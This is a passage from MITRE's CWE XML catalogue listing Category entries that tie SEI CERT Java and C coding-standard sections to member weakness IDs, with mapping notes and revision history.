               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1150" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Runtime Environment (ENV) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="349" View_ID="1133"/>
            <Has_Member CWE_ID="732" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-829"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1151" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Java Native Interface (JNI) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="111" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-972"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1152" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="259" View_ID="1133"/>
            <Has_Member CWE_ID="311" View_ID="1133"/>
            <Has_Member CWE_ID="327" View_ID="1133"/>
            <Has_Member CWE_ID="330" View_ID="1133"/>
            <Has_Member CWE_ID="332" View_ID="1133"/>
            <Has_Member CWE_ID="336" View_ID="1133"/>
            <Has_Member CWE_ID="337" View_ID="1133"/>
            <Has_Member CWE_ID="400" View_ID="1133"/>
            <Has_Member CWE_ID="401" View_ID="1133"/>
            <Has_Member CWE_ID="770" View_ID="1133"/>
            <Has_Member CWE_ID="798" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-830"/>
			<Reference External_Reference_ID="REF-1006"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1153" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Android (DRD) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <References>
            <Reference External_Reference_ID="REF-973"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1155" Name="SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) section of the SEI CERT C Coding Standard.</Summary>
         <References>
            <Reference External_Reference_ID="REF-599"/>
			<Reference External_Reference_ID="REF-979"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1156" Name="SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="562" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-600"/>
			<Reference External_Reference_ID="REF-980"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1157" Name="SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="758" View_ID="1154"/>
			<Has_Member CWE_ID="908" View_ID="1154"/>
			<Has_Member CWE_ID="476" View_ID="1154"/>
			<Has_Member CWE_ID="690" View_ID="1154"/>
			<Has_Member CWE_ID="628" View_ID="1154"/>
			<Has_Member CWE_ID="685" View_ID="1154"/>
			<Has_Member CWE_ID="686" View_ID="1154"/>
			<Has_Member CWE_ID="843" View_ID="1154"/>
			<Has_Member CWE_ID="704" View_ID="1154"/>
			<Has_Member CWE_ID="119" View_ID="1154"/>
			<Has_Member CWE_ID="125" View_ID="1154"/>
			<Has_Member CWE_ID="480" View_ID="1154"/>
			<Has_Member CWE_ID="481" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-601"/>
			<Reference External_Reference_ID="REF-981"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1158" Name="SEI CERT C Coding Standard - Guidelines 04. Integers (INT)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Integers (INT) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="190" View_ID="1154"/>
			<Has_Member CWE_ID="131" View_ID="1154"/>
			<Has_Member CWE_ID="191" View_ID="1154"/>
			<Has_Member CWE_ID="680" View_ID="1154"/>
			<Has_Member CWE_ID="192" View_ID="1154"/>
			<Has_Member CWE_ID="197" View_ID="1154"/>
			<Has_Member CWE_ID="681" View_ID="1154"/>
			<Has_Member CWE_ID="704" View_ID="1154"/>
			<Has_Member CWE_ID="194" View_ID="1154"/>
			<Has_Member CWE_ID="195" View_ID="1154"/>
			<Has_Member CWE_ID="369" View_ID="1154"/>
			<Has_Member CWE_ID="682" View_ID="1154"/>
			<Has_Member CWE_ID="758" View_ID="1154"/>
			<Has_Member CWE_ID="587" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-602"/>
			<Reference External_Reference_ID="REF-982"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1159" Name="SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="682" View_ID="1154"/>
			<Has_Member CWE_ID="391" View_ID="1154"/>
			<Has_Member CWE_ID="681" View_ID="1154"/>
			<Has_Member CWE_ID="197" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-603"/>
			<Reference External_Reference_ID="REF-983"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1160" Name="SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="1154"/>
			<Has_Member CWE_ID="129" View_ID="1154"/>
			<Has_Member CWE_ID="786" View_ID="1154"/>
			<Has_Member CWE_ID="123" View_ID="1154"/>
			<Has_Member CWE_ID="125" View_ID="1154"/>
			<Has_Member CWE_ID="758" View_ID="1154"/>
			<Has_Member CWE_ID="469" View_ID="1154"/>
			<Has_Member CWE_ID="121" View_ID="1154"/>
			<Has_Member CWE_ID="805" View_ID="1154"/>
			<Has_Member CWE_ID="468" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-604"/>
			<Reference External_Reference_ID="REF-984"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1161" Name="SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="120" View_ID="1154"/>
			<Has_Member CWE_ID="119" View_ID="1154"/>
			<Has_Member CWE_ID="121" View_ID="1154"/>
			<Has_Member CWE_ID="122" View_ID="1154"/>
			<Has_Member CWE_ID="123" View_ID="1154"/>
			<Has_Member CWE_ID="125" View_ID="1154"/>
			<Has_Member CWE_ID="676" View_ID="1154"/>
			<Has_Member CWE_ID="170" View_ID="1154"/>
			<Has_Member CWE_ID="704" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-605"/>
			<Reference External_Reference_ID="REF-985"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1162" Name="SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="416" View_ID="1154"/>
			<Has_Member CWE_ID="672" View_ID="1154"/>
			<Has_Member CWE_ID="758" View_ID="1154"/>
			<Has_Member CWE_ID="666" View_ID="1154"/>
			<Has_Member CWE_ID="415" View_ID="1154"/>
			<Has_Member CWE_ID="401" View_ID="1154"/>
			<Has_Member CWE_ID="404" View_ID="1154"/>
			<Has_Member CWE_ID="459" View_ID="1154"/>
			<Has_Member CWE_ID="771" View_ID="1154"/>
			<Has_Member CWE_ID="772" View_ID="1154"/>
			<Has_Member CWE_ID="590" View_ID="1154"/>
			<Has_Member CWE_ID="131" View_ID="1154"/>
			<Has_Member CWE_ID="680" View_ID="1154"/>
			<Has_Member CWE_ID="467" View_ID="1154"/>
			<Has_Member CWE_ID="789" View_ID="1154"/>
			<Has_Member CWE_ID="190" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-606"/>
			<Reference External_Reference_ID="REF-986"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1163" Name="SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="134" View_ID="1154"/>
			<Has_Member CWE_ID="20" View_ID="1154"/>
			<Has_Member CWE_ID="67" View_ID="1154"/>
			<Has_Member CWE_ID="197" View_ID="1154"/>
			<Has_Member CWE_ID="241" View_ID="1154"/>
			<Has_Member CWE_ID="664" View_ID="1154"/>
			<Has_Member CWE_ID="404" View_ID="1154"/>
			<Has_Member CWE_ID="459" View_ID="1154"/>
			<Has_Member CWE_ID="772" View_ID="1154"/>
			<Has_Member CWE_ID="773" View_ID="1154"/>
			<Has_Member CWE_ID="775" View_ID="1154"/>
			<Has_Member CWE_ID="771" View_ID="1154"/>
			<Has_Member CWE_ID="910" View_ID="1154"/>
			<Has_Member CWE_ID="666" View_ID="1154"/>
			<Has_Member CWE_ID="672" View_ID="1154"/>
			<Has_Member CWE_ID="758" View_ID="1154"/>
			<Has_Member CWE_ID="686" View_ID="1154"/>
			<Has_Member CWE_ID="685" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-607"/>
			<Reference External_Reference_ID="REF-987"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1165" Name="SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="705" View_ID="1154"/>
			<Has_Member CWE_ID="676" View_ID="1154"/>
			<Has_Member CWE_ID="78" View_ID="1154"/>
			<Has_Member CWE_ID="88" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-608"/>
			<Reference External_Reference_ID="REF-988"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1166" Name="SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="479" View_ID="1154"/>
            <Has_Member CWE_ID="662" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-609"/>
			<Reference External_Reference_ID="REF-989"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1167" Name="SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="456" View_ID="1154"/>
			<Has_Member CWE_ID="391" View_ID="1154"/>
			<Has_Member CWE_ID="252" View_ID="1154"/>
			<Has_Member CWE_ID="253" View_ID="1154"/>
			<Has_Member CWE_ID="676" View_ID="1154"/>
			<Has_Member CWE_ID="758" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-610"/>
			<Reference External_Reference_ID="REF-990"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1168" Name="SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Application Programming Interfaces (API) section of the SEI CERT C Coding Standard.</Summary>
         <References>
            <Reference External_Reference_ID="REF-611"/>
			<Reference External_Reference_ID="REF-991"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1169" Name="SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Concurrency (CON) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="667" View_ID="1154"/>
			<Has_Member CWE_ID="366" View_ID="1154"/>
			<Has_Member CWE_ID="676" View_ID="1154"/>
			<Has_Member CWE_ID="330" View_ID="1154"/>
			<Has_Member CWE_ID="377" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-612"/>
			<Reference External_Reference_ID="REF-992"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1170" Name="SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
